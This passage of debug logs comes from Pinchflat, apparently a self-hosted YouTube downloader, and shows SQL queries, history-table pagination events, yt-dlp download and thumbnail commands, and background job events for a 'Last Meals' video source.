s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (NOT (m0."media_filepath" IS NULL)) [] 21:30:02.059 [debug] QUERY OK source="media_items" db=0.7ms idle=970.3ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (NOT (m0."media_filepath" IS NULL)) ORDER BY m0."id" DESC LIMIT ? OFFSET ? [5, 20] 21:30:02.060 [debug] QUERY OK source="sources" db=0.3ms idle=971.2ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 21:30:02.060 [debug] Replied in 2ms 21:30:03.043 [debug] HANDLE EVENT "page_change" in Pinchflat.Pages.HistoryTableLive Parameters: %{"direction" => "inc"} 21:30:03.043 [debug] QUERY OK source="media_items" db=0.3ms idle=1587.5ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (NOT (m0."media_filepath" IS NULL)) [] 21:30:03.044 [debug] QUERY OK source="media_items" db=0.8ms idle=985.6ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (NOT (m0."media_filepath" IS NULL)) ORDER BY m0."id" DESC LIMIT ? OFFSET ? [5, 25] 21:30:03.045 [debug] QUERY OK source="sources" db=0.2ms idle=986.0ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 21:30:03.045 [debug] Replied in 2ms 21:30:04.117 [debug] HANDLE EVENT "page_change" in Pinchflat.Pages.HistoryTableLive Parameters: %{"direction" => "inc"} 21:30:04.118 [debug] QUERY OK source="media_items" db=0.3ms queue=0.1ms idle=657.9ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (NOT (m0."media_filepath" IS NULL)) [] 21:30:04.119 [debug] QUERY OK source="media_items" db=0.5ms idle=60.9ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (NOT (m0."media_filepath" IS NULL)) ORDER BY m0."id" DESC LIMIT ? OFFSET ? [5, 30] 21:30:04.119 [debug] QUERY OK source="sources" db=0.2ms idle=61.8ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 21:30:04.119 [debug] Replied in 2ms 21:30:05.638 [debug] HANDLE EVENT "page_change" in Pinchflat.Pages.HistoryTableLive Parameters: %{"direction" => "dec"} 21:30:05.638 [debug] QUERY OK source="media_items" db=0.1ms idle=1520.3ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (NOT (m0."media_filepath" IS NULL)) [] 21:30:05.639 [debug] QUERY OK source="media_items" db=0.2ms idle=1519.7ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (NOT (m0."media_filepath" IS NULL)) ORDER BY m0."id" DESC LIMIT ? OFFSET ? [5, 25] 21:30:05.639 [debug] QUERY OK source="sources" db=0.1ms idle=1519.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 21:30:05.639 [debug] Replied in 1ms 21:30:06.743 [debug] HANDLE EVENT "page_change" in Pinchflat.Pages.HistoryTableLive Parameters: %{"direction" => "dec"} 21:30:06.743 [debug] QUERY OK source="media_items" db=0.2ms idle=1104.7ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (NOT (m0."media_filepath" IS NULL)) [] 21:30:06.744 [debug] QUERY OK source="media_items" db=0.3ms idle=1104.8ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (NOT (m0."media_filepath" IS NULL)) ORDER BY m0."id" DESC LIMIT ? OFFSET ? [5, 20] 21:30:06.744 [debug] QUERY OK source="sources" db=0.1ms idle=1105.0ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 21:30:06.744 [debug] Replied in 1ms 21:30:07.575 [debug] HANDLE EVENT "page_change" in Pinchflat.Pages.HistoryTableLive Parameters: %{"direction" => "dec"} 21:30:07.576 [debug] QUERY OK source="media_items" db=0.2ms idle=1110.6ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (NOT (m0."media_filepath" IS NULL)) [] 21:30:07.576 [debug] QUERY OK source="media_items" db=0.3ms idle=832.4ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (NOT (m0."media_filepath" IS NULL)) ORDER BY m0."id" DESC LIMIT ? OFFSET ? [5, 15] 21:30:07.577 [debug] QUERY OK source="sources" db=0.1ms idle=832.6ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 21:30:07.577 [debug] Replied in 1ms 21:30:08.293 [debug] HANDLE EVENT "page_change" in Pinchflat.Pages.HistoryTableLive Parameters: %{"direction" => "dec"} 21:30:08.294 [debug] QUERY OK source="media_items" db=0.1ms idle=827.4ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (NOT (m0."media_filepath" IS NULL)) [] 21:30:08.294 [debug] QUERY OK source="media_items" db=0.3ms idle=717.9ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (NOT (m0."media_filepath" IS NULL)) ORDER BY m0."id" DESC LIMIT ? OFFSET ? [5, 10] 21:30:08.294 [debug] QUERY OK source="sources" db=0.1ms idle=718.0ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 21:30:08.295 [debug] Replied in 1ms 21:30:08.525 [debug] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=AuH68t1gLw4 --no-simulate --no-progress --no-force-overwrites --parse-metadata %(upload_date>%Y-%m-%d)s:(?P.+) --embed-subs --sub-langs en --embed-thumbnail --convert-thumbnail jpg --embed-metadata --remux-video mp4 --format-sort res:1080,+codec:avc:m4a --format bestvideo*+bestaudio/best --output /downloads/Last Meals/%(upload_date>%Y-%m-%d)S %(title)S/%(title)S [%(id)S].%(ext)S --print-to-file after_move:%()j /tmp/pinchflat/data/92/ef/92ef1e12ffd65ab2d21a3c579e0084d48bcd4b3834ffe961769eb74b32c1d85b.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache exited: 0 with: 21:30:08.537 [debug] Running yt-dlp command for action: download_thumbnail 21:30:08.537 [debug] QUERY OK source="settings" db=0.1ms idle=480.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:30:08.537 [debug] QUERY OK source="settings" db=0.0ms idle=243.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:30:08.538 [debug] QUERY OK source="settings" db=0.0ms idle=243.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:30:08.538 [info] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=AuH68t1gLw4 --no-simulate --skip-download --write-thumbnail --convert-thumbnail jpg --output /config/metadata/media_items/34/thumbnail.%(ext)s --print-to-file after_move:%()j /tmp/pinchflat/data/e5/c2/e5c2db61f453e5457cf80e615c89fa5249966ec015faeee2c7c202de1d13eea0.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache 21:30:09.326 [debug] HANDLE EVENT "page_change" in Pinchflat.Pages.HistoryTableLive Parameters: %{"direction" => "dec"} 21:30:09.327 [debug] QUERY OK source="media_items" db=0.2ms idle=1031.9ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (NOT (m0."media_filepath" IS NULL)) [] 21:30:09.327 [debug] QUERY OK source="media_items" db=0.3ms idle=859.1ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (NOT (m0."media_filepath" IS NULL)) ORDER BY m0."id" DESC LIMIT ? OFFSET ? [5, 5] 21:30:09.328 [debug] QUERY OK source="sources" db=0.1ms idle=790.1ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 21:30:09.328 [debug] Replied in 1ms 21:30:10.149 [debug] HANDLE EVENT "page_change" in Pinchflat.Pages.HistoryTableLive Parameters: %{"direction" => "dec"} 21:30:10.150 [debug] QUERY OK source="media_items" db=0.4ms queue=0.2ms idle=822.8ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (NOT (m0."media_filepath" IS NULL)) [] 21:30:10.151 [debug] QUERY OK source="media_items" db=0.8ms idle=823.1ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (NOT (m0."media_filepath" IS NULL)) ORDER BY m0."id" DESC LIMIT ? OFFSET ? [5, 0] 21:30:10.152 [debug] QUERY OK source="sources" db=0.3ms idle=823.9ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 21:30:10.152 [debug] Replied in 2ms 21:30:11.640 [debug] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=AuH68t1gLw4 --no-simulate --skip-download --write-thumbnail --convert-thumbnail jpg --output /config/metadata/media_items/34/thumbnail.%(ext)s --print-to-file after_move:%()j /tmp/pinchflat/data/e5/c2/e5c2db61f453e5457cf80e615c89fa5249966ec015faeee2c7c202de1d13eea0.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache exited: 0 with: 21:30:11.641 [debug] QUERY OK db=0.0ms idle=1490.5ms begin [] 21:30:11.641 [debug] QUERY OK source="media_items" db=0.3ms UPDATE "media_items" SET "media_downloaded_at" = ?, "media_filepath" = ?, "updated_at" = ? WHERE "id" = ? [~U[2026-03-28 01:30:08Z], "/downloads/Last Meals/2025-03-27 Kathryn Hahn Eats Her Last Meal/Kathryn Hahn Eats Her Last Meal [AuH68t1gLw4].mp4", ~U[2026-03-28 01:30:11Z], 34] 21:30:11.641 [debug] QUERY OK source="media_metadata" db=0.2ms INSERT INTO "media_metadata" ("metadata_filepath","thumbnail_filepath","media_item_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5) RETURNING "id" ["/config/metadata/media_items/34/metadata.json.gz", "/config/metadata/media_items/34/thumbnail.jpg", 34, ~U[2026-03-28 01:30:11Z], ~U[2026-03-28 01:30:11Z]] 21:30:11.642 [debug] QUERY OK db=0.0ms commit [] 21:30:11.643 [debug] QUERY OK source="media_items" db=0.4ms idle=1490.8ms UPDATE "media_items" SET "media_size_bytes" = ?, "updated_at" = ? WHERE "id" = ? [422597757, ~U[2026-03-28 01:30:11Z], 34] 21:30:11.643 [info] User scripts lifecyle file either not present or is empty. Skipping. 21:30:11.643 [info] {"args":{"id":34},"id":37,"meta":{},"state":"success","max_attempts":20,"queue":"media_fetching","worker":"Pinchflat.Downloading.MediaDownloadWorker","source":"oban","duration":147846483,"event":"job:stop","queue_time":2399796389,"attempt":1,"tags":["media_item","media_fetching","show_in_dashboard"]} 21:30:11.643 [debug] QUERY OK source="tasks" db=0.1ms idle=1170.4ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", o1."id", o1."state", o1."queue", o1."worker", o1."args", o1."meta", o1."tags", o1."errors", o1."attempt", o1."attempted_by", o1."max_attempts", o1."priority", o1."attempted_at", o1."cancelled_at", o1."completed_at", o1."discarded_at", o1."inserted_at", o1."scheduled_at" FROM "tasks" AS t0 LEFT OUTER JOIN "oban_jobs" AS o1 ON o1."id" = t0."job_id" WHERE (o1."state" IN (?)) AND (? IN (SELECT value FROM JSON_EACH(o1."tags"))) ORDER BY o1."attempted_at" DESC ["executing", "show_in_dashboard"] 21:30:11.643 [debug] QUERY OK source="media_items" db=0.0ms idle=169.0ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at", m0."id" FROM "media_items" AS m0 WHERE (m0."id" = ?) [35] 21:30:11.649 [info] {"args":{"id":36},"id":39,"meta":{},"system_time":1774661411649684562,"max_attempts":20,"queue":"media_fetching","worker":"Pinchflat.Downloading.MediaDownloadWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_item","media_fetching","show_in_dashboard"]} 21:30:11.649 [debug] QUERY OK source="media_items" db=0.0ms idle=6.6ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [36] 21:30:11.649 [info] User scripts lifecyle file either not present or is empty. Skipping. 21:30:11.649 [debug] QUERY OK source="tasks" db=0.1ms idle=6.4ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", o1."id", o1."state", o1."queue", o1."worker", o1."args", o1."meta", o1."tags", o1."errors", o1."attempt", o1."attempted_by", o1."max_attempts", o1."priority", o1."attempted_at", o1."cancelled_at", o1."completed_at", o1."discarded_at", o1."inserted_at", o1."scheduled_at" FROM "tasks" AS t0 LEFT OUTER JOIN "oban_jobs" AS o1 ON o1."id" = t0."job_id" WHERE (o1."state" IN (?)) AND (? IN (SELECT value FROM JSON_EACH(o1."tags"))) ORDER BY o1."attempted_at" DESC ["executing", "show_in_dashboard"] 21:30:11.650 [debug] QUERY OK source="sources" db=0.0ms idle=6.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 21:30:11.650 [debug] QUERY OK source="media_items" db=0.1ms idle=6.2ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at", m0."id" FROM "media_items" AS m0 WHERE (m0."id" IN (?,?)) [35, 36] 21:30:11.650 [debug] QUERY OK source="media_profiles" db=0.0ms idle=0.4ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 21:30:11.650 [debug] QUERY OK source="media_items" db=0.0ms idle=0.4ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [36] 21:30:11.650 [debug] QUERY OK source="media_metadata" db=0.0ms idle=0.6ms SELECT m0."id", m0."metadata_filepath", m0."thumbnail_filepath", m0."media_item_id", m0."inserted_at", m0."updated_at", m0."media_item_id" FROM "media_metadata" AS m0 WHERE (m0."media_item_id" = ?) [36] 21:30:11.650 [debug] QUERY OK source="media_profiles" db=0.0ms idle=0.5ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", 